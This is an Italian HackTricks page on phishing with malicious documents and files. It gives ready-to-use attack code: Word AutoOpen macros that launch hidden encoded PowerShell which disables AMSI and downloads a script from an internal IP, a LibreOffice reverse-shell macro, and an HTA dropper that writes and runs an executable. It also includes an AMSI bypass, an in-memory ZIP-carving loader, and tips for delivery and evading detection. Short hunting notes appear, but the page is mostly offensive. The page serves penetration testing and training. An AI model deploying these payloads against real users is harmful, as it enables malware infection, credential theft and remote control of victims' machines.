Phishing File & Documenti
Tip
Impara e pratica il hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.
Documenti Office
Microsoft Word esegue una validazione dei dati del file prima di aprire un file. La validazione viene effettuata tramite l’identificazione della struttura dei dati, in conformità allo standard OfficeOpenXML. Se si verifica un errore durante l’identificazione della struttura dei dati, il file analizzato non verrà aperto.
Di solito, i file Word contenenti macro usano l’estensione .docm. Tuttavia, è possibile rinominare il file modificando l’estensione e mantenere comunque la capacità di eseguire le macro.
Per esempio, un file RTF non supporta le macro, per progettazione, ma un file DOCM rinominato in RTF sarà gestito da Microsoft Word e sarà in grado di eseguire le macro.
Gli stessi meccanismi interni si applicano a tutto il software della Microsoft Office Suite (Excel, PowerPoint etc.).
Puoi usare il seguente comando per verificare quali estensioni verranno eseguite da alcuni programmi Office:
assoc | findstr /i "word excel powerp"
I file DOCX che fanno riferimento a un template remoto (File –Options –Add-ins –Manage: Templates –Go) che include macros possono anch’essi “eseguire” macros.
Caricamento immagine esterna
Vai su: Insert –> Quick Parts –> Field
Categorie: Collegamenti e riferimenti, Filed names: includePicture, e Filename or URL: http://
.png)
Macros Backdoor
È possibile usare macros per eseguire codice arbitrario dal documento.
Funzioni Autoload
Più sono comuni, più è probabile che l’AV le rilevi.
- AutoOpen()
- Document_Open()
Esempi di codice macros
Sub AutoOpen()
CreateObject("WScript.Shell").Exec ("powershell.exe -nop -Windowstyle hidden -ep bypass -enc JABhACAAPQAgACcAUwB5AHMAdABlAG0ALgBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAEEAJwA7ACQAYgAgAD0AIAAnAG0AcwAnADsAJAB1ACAAPQAgACcAVQB0AGkAbABzACcACgAkAGEAcwBzAGUAbQBiAGwAeQAgAD0AIABbAFIAZQBmAF0ALgBBAHMAcwBlAG0AYgBsAHkALgBHAGUAdABUAHkAcABlACgAKAAnAHsAMAB9AHsAMQB9AGkAewAyAH0AJwAgAC0AZgAgACQAYQAsACQAYgAsACQAdQApACkAOwAKACQAZgBpAGUAbABkACAAPQAgACQAYQBzAHMAZQBtAGIAbAB5AC4ARwBlAHQARgBpAGUAbABkACgAKAAnAGEAewAwAH0AaQBJAG4AaQB0AEYAYQBpAGwAZQBkACcAIAAtAGYAIAAkAGIAKQAsACcATgBvAG4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwAnACkAOwAKACQAZgBpAGUAbABkAC4AUwBlAHQAVgBhAGwAdQBlACgAJABuAHUAbABsACwAJAB0AHIAdQBlACkAOwAKAEkARQBYACgATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAxADkAMgAuADEANgA4AC4AMQAwAC4AMQAxAC8AaQBwAHMALgBwAHMAMQAnACkACgA=")
End Sub
Sub AutoOpen()
Dim Shell As Object
Set Shell = CreateObject("wscript.shell")
Shell.Run "calc"
End Sub
Dim author As String
author = oWB.BuiltinDocumentProperties("Author")
With objWshell1.Exec("powershell.exe -nop -Windowsstyle hidden -Command-")
.StdIn.WriteLine author
.StdIn.WriteBlackLines 1
Dim proc As Object
Set proc = GetObject("winmgmts:\\.\root\cimv2:Win32_Process")
proc.Create "powershell <beacon line generated>
Rimuovere manualmente i metadati
Vai su File > Info > Inspect Document > Inspect Document, che aprirà il Document Inspector. Clicca Inspect e poi Remove All accanto a Document Properties and Personal Information.
Estensione del documento
Quando hai finito, seleziona il menu a tendina Save as type, cambia il formato da .docx a Word 97-2003 .doc.
Fallo perché non puoi salvare macro dentro un .docx e c’è uno stigma intorno all’estensione macro-enabled .docm (ad es. l’icona in anteprima mostra un enorme ! e alcuni gateway web/email le bloccano completamente). Pertanto, questa estensione legacy .doc è il miglior compromesso.
Malicious Macros Generators
LibreOffice ODT auto-run macros (Basic)
I documenti LibreOffice Writer possono incorporare Basic macros e auto-eseguirle quando il file viene aperto collegando la macro all’evento Open Document (Tools → Customize → Events → Open Document → Macro…). Una semplice reverse shell macro appare così:
Sub Shell
Shell("cmd /c powershell -enc BASE64_PAYLOAD"""")
End Sub
Nota le virgolette raddoppiate ("") all’interno della stringa – LibreOffice Basic le usa per eseguire l’escape delle virgolette letterali, quindi i payload che terminano con ...==""") mantengono bilanciati sia il comando interno che l’argomento della Shell.
Delivery tips:
- Salva come
.odte associa la macro all’evento del documento in modo che venga eseguita immediatamente all’apertura. - Quando invii email con
swaks, usa--attach @resume.odt(la@è necessaria affinché siano inviati i byte del file, non la stringa del nome file, come allegato). Questo è critico quando si abusa di server SMTP che accettano destinatari arbitrariRCPT TOsenza validazione.
File HTA
Un HTA è un programma Windows che combina HTML e linguaggi di scripting (come VBScript e JScript). Genera l’interfaccia utente ed è eseguito come un’applicazione “completely trusted”, senza i vincoli del modello di sicurezza di un browser.
Un HTA viene eseguito usando mshta.exe, che è tipicamente installato insieme a Internet Explorer, rendendo mshta dipendente da IE. Quindi, se IE è stato disinstallato, gli HTA non potranno essere eseguiti.
<--! Basic HTA Execution -->
<html>
<head>
<title>Hello World</title>
</head>
<body>
<h2>Hello World</h2>
<p>This is an HTA...</p>
</body>
<script language="VBScript">
Function Pwn()
Set shell = CreateObject("wscript.Shell")
shell.run "calc"
End Function
Pwn
</script>
</html>
<--! Cobal Strike generated HTA without shellcode -->
<script language="VBScript">
Function var_func()
var_shellcode = "<shellcode>"
Dim var_obj
Set var_obj = CreateObject("Scripting.FileSystemObject")
Dim var_stream
Dim var_tempdir
Dim var_tempexe
Dim var_basedir
Set var_tempdir = var_obj.GetSpecialFolder(2)
var_basedir = var_tempdir & "\" & var_obj.GetTempName()
var_obj.CreateFolder(var_basedir)
var_tempexe = var_basedir & "\" & "evil.exe"
Set var_stream = var_obj.CreateTextFile(var_tempexe, true , false)
For i = 1 to Len(var_shellcode) Step 2
var_stream.Write Chr(CLng("&H" & Mid(var_shellcode,i,2)))
Next
var_stream.Close
Dim var_shell
Set var_shell = CreateObject("Wscript.Shell")
var_shell.run var_tempexe, 0, true
var_obj.DeleteFile(var_tempexe)
var_obj.DeleteFolder(var_basedir)
End Function
var_func
self.close
</script>
Forzare l’autenticazione NTLM
Ci sono diversi modi per forzare l’autenticazione NTLM “da remoto”, ad esempio, puoi aggiungere immagini invisibili a email o HTML a cui l’utente accederà (anche HTTP MitM?). Oppure inviare alla vittima il percorso dei file che attiverà un’autenticazione semplicemente aprendo la cartella.
Consulta queste idee e altre nelle pagine seguenti:
Force NTLM Privileged Authentication
NTLM Relay
Non dimenticare che non puoi solo rubare l’hash o l’autenticazione, ma anche eseguire NTLM relay attacks:
LNK Loaders + ZIP-Embedded Payloads (fileless chain)
Campagne altamente efficaci consegnano uno ZIP che contiene due documenti esca legittimi (PDF/DOCX) e un .lnk maligno. Il trucco è che il vero PowerShell loader è memorizzato nei byte grezzi dello ZIP dopo un marker univoco, e il .lnk lo estrae ed esegue completamente in memoria.
Flusso tipico implementato dal comando monoriga PowerShell nel .lnk:
- Individuare lo ZIP originale in percorsi comuni: Desktop, Downloads, Documents, %TEMP%, %ProgramData% e la cartella padre della directory di lavoro corrente.
- Leggere i byte dello ZIP e trovare un marker hardcoded (e.g., xFIQCV). Tutto ciò che segue il marker è il payload PowerShell incorporato.
- Copiare lo ZIP in %ProgramData%, estrarlo lì e aprire il .docx esca per apparire legittimi.
- Bypassare AMSI per il processo corrente: [System.Management.Automation.AmsiUtils]::amsiInitFailed = $true
- Deoffuscare la fase successiva (e.g., rimuovere tutti i caratteri #) ed eseguirla in memoria.
Esempio di scheletro PowerShell per estrarre ed eseguire la fase incorporata:
$marker = [Text.Encoding]::ASCII.GetBytes('xFIQCV')
$paths = @(
"$env:USERPROFILE\Desktop", "$env:USERPROFILE\Downloads", "$env:USERPROFILE\Documents",
"$env:TEMP", "$env:ProgramData", (Get-Location).Path, (Get-Item '..').FullName
)
$zip = Get-ChildItem -Path $paths -Filter *.zip -ErrorAction SilentlyContinue -Recurse | Sort-Object LastWriteTime -Descending | Select-Object -First 1
if(-not $zip){ return }
$bytes = [IO.File]::ReadAllBytes($zip.FullName)
$idx = [System.MemoryExtensions]::IndexOf($bytes, $marker)
if($idx -lt 0){ return }
$stage = $bytes[($idx + $marker.Length) .. ($bytes.Length-1)]
$code = [Text.Encoding]::UTF8.GetString($stage) -replace '#',''
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
Invoke-Expression $code
Notes
- La delivery spesso abusa di sottodomini PaaS reputati (es., *.herokuapp.com) e può gate payloads (servire ZIP benigni in base a IP/UA).
- La fase successiva frequentemente decripta base64/XOR shellcode e lo esegue tramite Reflection.Emit + VirtualAlloc per minimizzare gli artefatti su disco.
Persistence used in the same chain
- COM TypeLib hijacking of the Microsoft Web Browser control in modo che IE/Explorer o qualsiasi app che lo embeddi rilanci automaticamente il payload. Vedi dettagli e comandi pronti all’uso qui:
Hunting/IOCs
- File ZIP contenenti la stringa marker ASCII (es., xFIQCV) apposta ai dati dell’archivio.
- .lnk che enumera cartelle genitore/utente per localizzare lo ZIP e apre un decoy document.
- AMSI tampering via [System.Management.Automation.AmsiUtils]::amsiInitFailed.
- Thread di business a lunga esecuzione che terminano con link ospitati sotto domini PaaS trusted.
Steganography-delimited payloads in images (PowerShell stager)
Catene di loader recenti consegnano un JavaScript/VBS offuscato che decodifica ed esegue un PowerShell stager Base64. Quel stager scarica un’immagine (spesso GIF) che contiene una .NET DLL codificata in Base64 nascosta come testo semplice tra marker unici di inizio/fine. Lo script cerca questi delimitatori (esempi osservati in the wild: «<<sudo_png>> … <<sudo_odt>>>»), estrae il testo intermedio, lo decodifica da Base64 in byte, carica l’assembly in-memory e invoca un noto metodo di entry passando il C2 URL.
Workflow
- Stage 1: dropper JS/VBS archiviato → decodifica Base64 incorporato → avvia PowerShell stager con -nop -w hidden -ep bypass.
- Stage 2: PowerShell stager → scarica l’immagine, estrae Base64 delimitato da marker, carica la .NET DLL in-memory e chiama il suo metodo (es., VAI) passando il C2 URL e le opzioni.
- Stage 3: il loader recupera il payload finale e tipicamente lo inietta via process hollowing in un binario trusted (comunemente MSBuild.exe). Vedi altro su process hollowing e trusted utility proxy execution qui:
PowerShell example to carve a DLL from an image and invoke a .NET method in-memory:
PowerShell stego payload extractor and loader
```powershell # Download the carrier image and extract a Base64 DLL between custom markers, then load and invoke it in-memory param( [string]$Url = 'https://example.com/payload.gif', [string]$StartM = '<Note
- This è ATT&CK T1027.003 (steganography/marker-hiding). I marker variano tra le campagne.
- AMSI/ETW bypass and string deobfuscation vengono comunemente applicati prima di caricare l’assembly.
- Hunting: scansionare le immagini scaricate alla ricerca di delimitatori noti; identificare PowerShell che accede alle immagini e decodifica immediatamente i blob Base64.
See also stego tools and carving techniques:
Quick Triage Checklist First 10 Minutes
JS/VBS droppers → Base64 PowerShell staging
Una fase iniziale ricorrente è un piccolo, pesantemente offuscato .js o .vbs consegnato all’interno di un archivio. Il suo unico scopo è decodificare una stringa Base64 incorporata e lanciare PowerShell con -nop -w hidden -ep bypass per avviare la fase successiva tramite HTTPS.
Logica di base (astratta):
- Leggere il contenuto del proprio file
- Individuare un blob Base64 tra stringhe di junk
- Decodificare in PowerShell ASCII
- Eseguire con
wscript.exe/cscript.exeinvocandopowershell.exe
Indicatori di hunting
- Allegati JS/VBS archiviati che avviano
powershell.execon-enc/FromBase64Stringnella riga di comando. wscript.exeche lanciapowershell.exe -nop -w hiddenda percorsi temporanei dell’utente.
Windows files to steal NTLM hashes
Controlla la pagina su places to steal NTLM creds:
References
- HTB Job – LibreOffice macro → IIS webshell → GodPotato
- Check Point Research – ZipLine Campaign: A Sophisticated Phishing Attack Targeting US Companies
- Hijack the TypeLib – New COM persistence technique (CICADA8)
- Unit 42 – PhantomVAI Loader Delivers a Range of Infostealers
- MITRE ATT&CK – Steganography (T1027.003)
- MITRE ATT&CK – Process Hollowing (T1055.012)
- MITRE ATT&CK – Trusted Developer Utilities Proxy Execution: MSBuild (T1127.001)
Tip
Impara e pratica il hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.


